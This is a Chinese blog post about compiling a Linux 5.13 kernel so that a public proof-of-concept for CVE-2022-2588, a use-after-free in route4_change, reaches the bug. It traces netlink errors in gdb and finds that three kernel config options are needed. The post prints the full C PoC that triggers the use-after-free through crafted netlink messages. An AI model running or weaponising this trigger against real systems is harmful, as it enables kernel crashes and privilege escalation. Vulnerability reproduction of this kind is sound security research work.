[kernel] 编译能复现指定poc的内核的排错过程

背景

在复现CVE-2022-2588漏洞的时候,编译可以运行poc成功触发漏洞所在函数的内核的过程。踩了一些坑,记录一下思路。

目标

为了复现CVE-2022-2588,肯定是自己编译带符号的内核来调试更加方便快捷。所以这里第一步就是编译内核,一般内核漏洞wp作者都会说需要的编译选项,或者直接给.config文件或者直接提供内核或环境,这里给的信息好少,只知道漏洞所在函数和漏洞原理。

前置知识

内核与内核模块

内核是内核(bzImage)+内核模块(.ko)组成的,很多内核的功能都不是直接在内核之中,而是在内核模块之中,系统启动之后加载对应的内核模块。这个过程涉及到linux系统启动之后的动作,而我们自己编译的简易版内核和基于qemu 的简易漏洞复现环境(qemu + 单个kernel + 基于busybox做的简易文件系统)是没有那么完整的启动过程的。所以我们一般要把需要的内核模块直接编译到内核之中

内核的编译选项

内核编译的过程中会根据.config文件中的编译选项决定编译动作,不同内核模块的编译是由编译选项决定的,如果编译选项是m,则代表该功能会被编译成内核模块(.ko),而如果该编译选项是y则代表该功能被编译进内核(bzImage)之中。

CONFIG_NET_CLS_ROUTE4=m
或
CONFIG_NET_CLS_ROUTE4=y

所以我们需要的便是将漏洞所在模块设置成y,让其直接编译到内核bzImage中。在设置内核编译选项的时候最好不要直接编辑.config文件,因为好多内核模块之间有依赖关系,如果只是把目标模块的m改成y,而没改它依赖的模块的话,最后编译容易造成依赖链混乱,最好是通过make menuconfig 的形式来配置编译选项,menuconfig可以显示某个编译选项所依赖的其他选项。

在这里插入图片描述

可以看出编译选项CONFIG_NFT_CONNLIMIT的depends on中有些依赖还是m状态,那么该选项(CONFIG_NFT_CONNLIMIT)就无法被设置成y,只有当满足的依赖都是y的情况下,才能设置成y:

在这里插入图片描述

  • 还有一些编译选项是自动设置的,根据其依赖的选项,依赖项都是m那么就自动设置成m,依赖项设置成y则自动设置成y
  • 有一些依赖是互斥的,有了这个就不能有另一个,需要厘清逻辑关系。

在这里插入图片描述

过程

这里不对漏洞做过多分析,主要阐述编译过程

基本信息

使用的poc如下:

https://github.com/sang-chu/CVE-2022-2588

原本poc代码(经过我略微修改,本次调试使用):

#define _GNU_SOURCE
#include <sched.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <linux/pkt_sched.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>
void hexdump(const void *data, size_t size)
{
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i)
    {
        dprintf(2, "%02X ", ((unsigned char *)data)[i]);
        if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~')
        {
            ascii[i % 16] = ((unsigned char *)data)[i];
        } else
        {
            ascii[i % 16] = '.';
        }
        if ((i + 1) % 8 == 0 || i + 1 == size)
        {
            dprintf(2, " ");
            if ((i + 1) % 16 == 0)
            {
                dprintf(2, "|  %s \n", ascii);
            }
            else if (i + 1 == size)
            {
                ascii[(i + 1) % 16] = '\0';
                if ((i + 1) % 16 <= 8)
                {
                    dprintf(2, " ");
                }
                for (j = (i + 1) % 16; j < 16; ++j)
                {
                    dprintf(2, "   ");
                }
                dprintf(2, "|  %s \n", ascii);
            }
        }
    }
}


static char newlink[] = {
        /* len */
        56, 0x00, 0x00, 0x00,
        /* type = NEWLINK */
        16, 0x00,
        /* flags = NLM_F_REQUEST | NLM_F_CREATE */
        0x01, 0x04,
        /* seq */
        0x01, 0x00, 0x00, 0x00,
        /* pid */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_family */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_ifindex */
        0x30, 0x00, 0x00, 0x00,
        /* ifi_flags */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_change */
        0x00, 0x00, 0x00, 0x00,
        /* nla_len, nla_type */
        0x08, 0x00, 0x03, 0x00,
        /* string */
        'e', 't', '2', 0,
        /* nla_len, nla_type */
        16, 0x00, 18, 0x00,
        /* nested nla_len, nla_type */
        10, 0x00, 0x01, 0x00,
        'd', 'u', 'm', 'm',
        'y', 0x00, 0x00, 0x00,
};

static char dellink[] = {
        /* len */
        40, 0x00, 0x00, 0x00,
        /* type = DELLINK */
        17, 0x00,
        /* flags = NLM_F_REQUEST | NLM_F_CREATE */
        0x01, 0x04,
        /* seq */
        0x01, 0x00, 0x00, 0x00,
        /* pid */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_family */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_ifindex */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_flags */
        0x00, 0x00, 0x00, 0x00,
        /* ifi_change */
        0x00, 0x00, 0x00, 0x00,
        /* nla_len, nla_type */
        0x08, 0x00, 0x03, 0x00,
        /* string */
        'e', 't', '2', 0,
};

static char tfilter[] = {
        /* len */
        68, 0x00, 0x00, 0x00,
        /* type = NEWTFILTER */
        44, 0x00,
        /* flags = NLM_F_REQUEST | NLM_F_CREATE */
        0x41, 0x04,
        /* seq */
        0x01, 0x00, 0x00, 0x00,
        /* pid */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_family */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_ifindex */
        0x30, 0x00, 0x00, 0x00,
        /* tcm_handle */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_parent */
        0x00, 0x00, 0x01, 0x00,
        /* tcm_info = protocol/prio */
        0x01, 0x00, 0x01, 0x00,
        /* nla_len, nla_type */
        0x0a, 0x00, 0x01, 0x00,
        /* string */
        'r', 'o', 'u', 't',
        'e', 0, 0, 0,
        /* OPTIONS */
        0x14, 0x00, 0x02, 0x00,
        /* ROUTE4_TO */
        0x08, 0x00, 0x02, 0x00,
        0x00, 0x00, 0x00, 0x00,
        /* ROUTE4_FROM */
        0x08, 0x00, 0x03, 0x00,
        0x00, 0x00, 0x00, 0x00,
};

static char ntfilter[] = {
        /* len */
        56, 0x00, 0x00, 0x00,
        /* type = NEWTFILTER */
        44, 0x00,
        /* flags = NLM_F_REQUEST | NLM_F_CREATE */
        /* 0x200 = NLM_F_EXCL */
        0x41, 0x04,
        /* seq */
        0x01, 0x00, 0x00, 0x00,
        /* pid */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_family */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_ifindex */
        0x30, 0x00, 0x00, 0x00,
        /* tcm_handle */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_parent */
        0x00, 0x00, 0x01, 0x00,
        /* tcm_info = protocol/prio */
        0x01, 0x00, 0x01, 0x00,
        /* OPTIONS */
        0x14, 0x00, 0x02, 0x00,
        /* ROUTE4_TO */
        0x08, 0x00, 0x02, 0x00,
        0x01, 0x00, 0x00, 0x00,
        /* ROUTE4_FROM */
        0x08, 0x00, 0x03, 0x00,
        0x00, 0x00, 0x00, 0x00,
};


static char linkcmd[] = {
        /* len */
        44, 0x00, 0x00, 0x00,
        /* type = NEWQDISC */
        36, 0x00,
        /* flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE */
        0x01, 0x05,
        /* seq */
        0x01, 0x00, 0x00, 0x00,
        /* pid */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_family */
        0x00, 0x00, 0x00, 0x00,
        /* tcm_ifindex */
        0x30, 0x00, 0x00, 0x00,
        /* tcm_handle */
        0x00, 0x00, 0x01, 0x00,
        /* tcm_parent */
        0xff, 0xff, 0xff, 0xff,
        /* tcm_info = protocol/prio */
        0x00, 0x00, 0x00, 0x00,
        /* nla_len, nla_type */
        0x04, 0x00, 0x01, 0x00,
        /* string */
};

int build_qfq(char *buf)
{
        char *qopt;
        short *tlen;
        char *qdisc = "qfq";

        short *optlen;
        short *opttype;

        tlen = buf;

        memset(buf, 0, sizeof(buf));
        memcpy(buf, linkcmd, sizeof(linkcmd));
        strcpy(buf+sizeof(linkcmd), qdisc);
        *tlen = sizeof(linkcmd) + strlen(qdisc) + 1;
        buf[36] = strlen(qdisc)+5;

        qopt = buf + *tlen;
        /* nla_len, nla_type */
        /* 24, 0x00, 0x02, 0x00, */
        optlen = qopt;
        opttype = optlen + 1;
        *opttype = 0x2;

        *optlen = 4;

        *tlen += *optlen;

        return *tlen;
}

int main(int argc, char **argv)
{
        int s;
        pid_t p;
        int *error;
        char buf[4096]={0};
        int tlen;
        char buf2[4096]={0};
        error = (int *) (buf + 16);

        unsigned long count = 1;
        int i;

        unshare(CLONE_NEWUSER|CLONE_NEWNET);
        tlen = build_qfq(buf);
        s = socket(AF_NETLINK, SOCK_RAW|SOCK_NONBLOCK, NETLINK_ROUTE);
        perror("socket:");
        printf("s: %d\n",s);
        printf("newlink:\n");
        hexdump(newlink,0x100);
        write(s, newlink, sizeof(newlink));
        read(s, buf2, sizeof(buf));
        perror("NLMSG_ERROR");
        printf("err:%d\n", *error);
        printf("msg type:%d\n",*(short *)(buf + 4));

        sleep(1);
        printf("qdisc:\n");
        hexdump(buf,0x100);
        write(s, buf, tlen);
        read(s, buf, sizeof(buf));
        printf("err:%d\n", *error);
        sleep(1);
        printf("tfilter:\n");
        hexdump(tfilter,0x100);

        write(s, tfilter, sizeof(tfilter));
        read(s, buf, sizeof(buf));
        printf("err:%d\n", *error);
        sleep(1);


        printf("ntfilter:\n");
        hexdump(ntfilter,0x100);

        write(s, ntfilter, sizeof(ntfilter));
        read(s, buf, sizeof(buf));
        printf("Err:%d\n", *error);
        sleep(1);

        printf("dellink:\n");
        hexdump(dellink,0x100);

        write(s, dellink, sizeof(dellink));
        read(s, buf, sizeof(buf));
        printf("err:%d\n", *error);


        return 0;
}

漏洞exp以及漏洞原理简述如下:

https://github.com/Markakd/CVE-2022-2588

漏洞所在函数是net\sched\cls_route.c: route4_change

所使用内核版本:5.13.19,正好手头有上次复现剩下的,就不重新下载了

根据Makefile确定漏洞函数所在模块

直接定位到漏洞所在函数所在文件net\sched\cls_route.c,找到跟这个文件同一目录下的Makefile,以该文件名作为关键字搜索:

obj-$(CONFIG_NET_CLS_ROUTE4)	+= cls_route.o

可以看到,该文件所需的编译选项是

CONFIG_NET_CLS_ROUTE4=y

使用ubuntu内核编译方法初步编译

这里使用ubuntu内核编译方法,只有内核源码是从ubuntu git下载的才可以使用(有debian rule)。

git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.13-5.13.0-35.40_20.04.1 --depth 1
LANG=C fakeroot debian/rules clean
# 下面这一步我们只需要构建binary-generic,因为内核在这里,不需要其他的
LANG=C fakeroot debian/rules binary-generic

这里使用menuconfig 更改编译选项:

make ARCH=x86 CROSS_COMPILE= KERNELVERSION=5.13.0-35-generic CONFIG_DEBUG_SECTION_MISMATCH=y KBUILD_BUILD_VERSION="40~20.04.1" LOCALVERSION= localver-extra= CFLAGS_MODULE="-DPKG_ABI=35" PYTHON=/usr/bin/python3 O=/tmp/ubuntu-focal/debian/build/build-generic -j4 menuconfig

将我们之前找到的CONFIG_NET_CLS_ROUTE4 设置成y

在这里插入图片描述

然后编译:

make ARCH=x86 CROSS_COMPILE= KERNELVERSION=5.13.0-35-generic CONFIG_DEBUG_SECTION_MISMATCH=y KBUILD_BUILD_VERSION="40~20.04.1" LOCALVERSION= localver-extra= CFLAGS_MODULE="-DPKG_ABI=35" PYTHON=/usr/bin/python3 O=/tmp/ubuntu-focal/debian/build/build-generic -j4 bzImage

编译完之后跑poc发现断不住关键函数toute4_change,修改一下poc,让其打印netlink的报文内容和报文错误码:

int main(int argc, char **argv)
{
        int s;
        pid_t p;
        int *error;
        char buf[4096]={0};
        int tlen;
        error = (int *) (buf + 16);

        unsigned long count = 1;
        int i;

        unshare(CLONE_NEWUSER|CLONE_NEWNET);
        tlen = build_qfq(buf);

        s = socket(AF_NETLINK, SOCK_RAW|SOCK_NONBLOCK, NETLINK_ROUTE);
        perror("socket:");
        printf("s: %d\n",s);

        write(s, newlink, sizeof(newlink));
        read(s, buf, sizeof(buf));
        perror("NLMSG_ERROR");
        printf("%d\n", *error);
        printf("%d\n",*(short *)(buf + 4));
        hexdump(buf,0x100);

       ··· ···
}

消息类型为2,是netlink 的NLMSG_ERROR类型消息,后面错误代码是-95。

在这里插入图片描述

#define NLMSG_ERROR		0x2	/* Error		*/
struct nlmsgerr {
	int		error; //错误编号
	struct nlmsghdr msg;
};

但可惜我没找到-95错误编号的含义,那就只能一步一步确认了。

定位错误编号 -95

由于我对netlink协议还不是很了解,没看过相关代码,所以只能根据已知的一些微量消息用笨法,最好的方法肯定是读一下netlink 的代码。

首先错误消息肯定使用了上面的nlmsgerr 结构体,直接找到所有初始化nlmsgerr 结构体的函数,并不多,都下断点,直接源码里搜struct nlmsgerr,tools目录下的都无视掉(非内核代码),就下面几个:

ipmr_destroy_unres
ipmr_cache_resolve
ncsi_send_netlink_err
call_ad //这个还没有
netlink_ack

直接跑,发现断住了netlink_ack:

在这里插入图片描述

虽然这里err code已经被设置成了-95,但可以查看调用栈:
在这里插入图片描述

先看netlink_rcv_skb 函数:

int netlink_rcv_skb(struct sk_buff *skb, int (*cb)(struct sk_buff *,
						   struct nlmsghdr *,
						   struct netlink_ext_ack *))
{
	struct netlink_ext_ack extack;
	struct nlmsghdr *nlh;
	int err;

	while (skb->len >= nlmsg_total_size(0)) {
		··· ···
		err = cb(skb, nlh, &extack); //这里的到的err
		if (err == -EINTR)
			goto skip;

ack:
		if (nlh->nlmsg_flags & NLM_F_ACK || err)
			netlink_ack(skb, nlh, err, &extack);
		··· ···
	}

	return 0;
}

然后err 在cb之中,cb是这个函数的参数,在调用栈中可以看到参数,cb地址是0xffffffff819d5f90,gdb中发现是rtnetlink_rcv_msg函数:

在这里插入图片描述

然后分析rtnetlink_rcv_msg函数,这个函数比较长,err设置有好多处,直接单步调试,遇到err的地方打印一下,确定err是这里设置的:

static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
			     struct netlink_ext_ack *extack)
{
	··· ···
    ··· ···

	flags = link->flags;
	if (flags & RTNL_FLAG_DOIT_UNLOCKED) {
		doit = link->doit;
		rcu_read_unlock();
		if (doit)
			err = doit(skb, nlh, extack);
		module_put(owner);
		return err;
	}
	··· ···
}

调试看到doit函数为rtnl_newlink:

在这里插入图片描述

rtnl_newlink 直接调用__rtnl_newlink,在__rtnl_newlink中根据返回值确定是没找到kind设备的ops,说明是没有kind设备:

static int __rtnl_newlink(struct sk_buff *skb, struct nlmsghdr *nlh,
			  struct nlattr **attr, struct netlink_ext_ack *extack)
{
	··· ···

	if (linkinfo[IFLA_INFO_KIND]) {
		nla_strscpy(kind, linkinfo[IFLA_INFO_KIND], sizeof(kind));
		ops = rtnl_link_ops_get(kind); //获取ops,这里没找到kind 的ops
	} else {
		kind[0] = '\0';
		ops = NULL;
	}

	··· ···

	if (!ops) { //没有ops 的话报错,错误码-95
#ifdef CONFIG_MODULES
		if (kind[0]) {
			__rtnl_unlock();
			request_module("rtnl-link-%s", kind);
			rtnl_lock();
			ops = rtnl_link_ops_get(kind);
			if (ops)
				goto replay;
		}
#endif
		NL_SET_ERR_MSG(extack, "Unknown device type");
		return -EOPNOTSUPP;//-95
	}

	··· ···
    ··· ···
}

打印了一下kind,发现是dummy:

在这里插入图片描述

妈的没仔细看poc,poc第一个报文使用的就是dummy设备,所以这里需要把dummy设备编译进去:

CONFIG_DUMMY=y

然后重新跑,新报错:

在这里插入图片描述

定位错误编号 -2

这次错误是-2,方法和上面一样,断住所有nlmsgerr 的函数,然后跑,同样是netlink_ack -> netlink_rcv_skb -> rtnetlink_rcv_msg -> link->doit 调用链,但这次link->doit 的函数指向的是tc_modify_qdisc,然后调试发现是在qdisc_create 函数中设置的错误编码:

static struct Qdisc *qdisc_create(struct net_device *dev,
				  struct netdev_queue *dev_queue,
				  struct Qdisc *p, u32 parent, u32 handle,
				  struct nlattr **tca, int *errp,
				  struct netlink_ext_ack *extack)
{
	int err;
	struct nlattr *kind = tca[TCA_KIND];
	struct Qdisc *sch;
	struct Qdisc_ops *ops;
	struct qdisc_size_table *stab;

	ops = qdisc_lookup_ops(kind);//找ops没找到
#ifdef CONFIG_MODULES
	if (ops == NULL && kind != NULL) {//走到这个分支
		char name[IFNAMSIZ];
		if (nla_strscpy(name, kind, IFNAMSIZ) >= 0) {
			/* We dropped the RTNL semaphore in order to
			 * perform the module load.  So, even if we
			 * succeeded in loading the module we have to
			 * tell the caller to replay the request.  We
			 * indicate this using -EAGAIN.
			 * We replay the request because the device may
			 * go away in the mean time.
			 */
			rtnl_unlock();
			request_module("sch_%s", name);//申请sch_设备,name这里是qfq
			rtnl_lock();
			ops = qdisc_lookup_ops(kind);
			if (ops != NULL) {
				/* We will try again qdisc_lookup_ops,
				 * so don't keep a reference.
				 */
				module_put(ops->owner);
				err = -EAGAIN;
				goto err_out;
			}
		}
	}
#endif

	err = -ENOENT;
	if (!ops) {//sch_qfq也没找到,则会设置错误码返回
		NL_SET_ERR_MSG(extack, "Specified qdisc not found");
		goto err_out;
	}
	··· ···
    ··· ···
}

经过调试发现是没找到name为sch_qfq的设备:

在这里插入图片描述

加上编译选项:

CONFIG_NET_SCH_QFQ=y

重新编译重新跑:

在这里插入图片描述

成功断住关键函数route4_change,并且触发uaf:

在这里插入图片描述

在这里插入图片描述

总结

总共需要这么几个编译选项:

CONFIG_NET_CLS_ROUTE4=y
CONFIG_DUMMY=y
CONFIG_NET_SCH_QFQ=y

总共就三个编译选项,废了这么多事。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值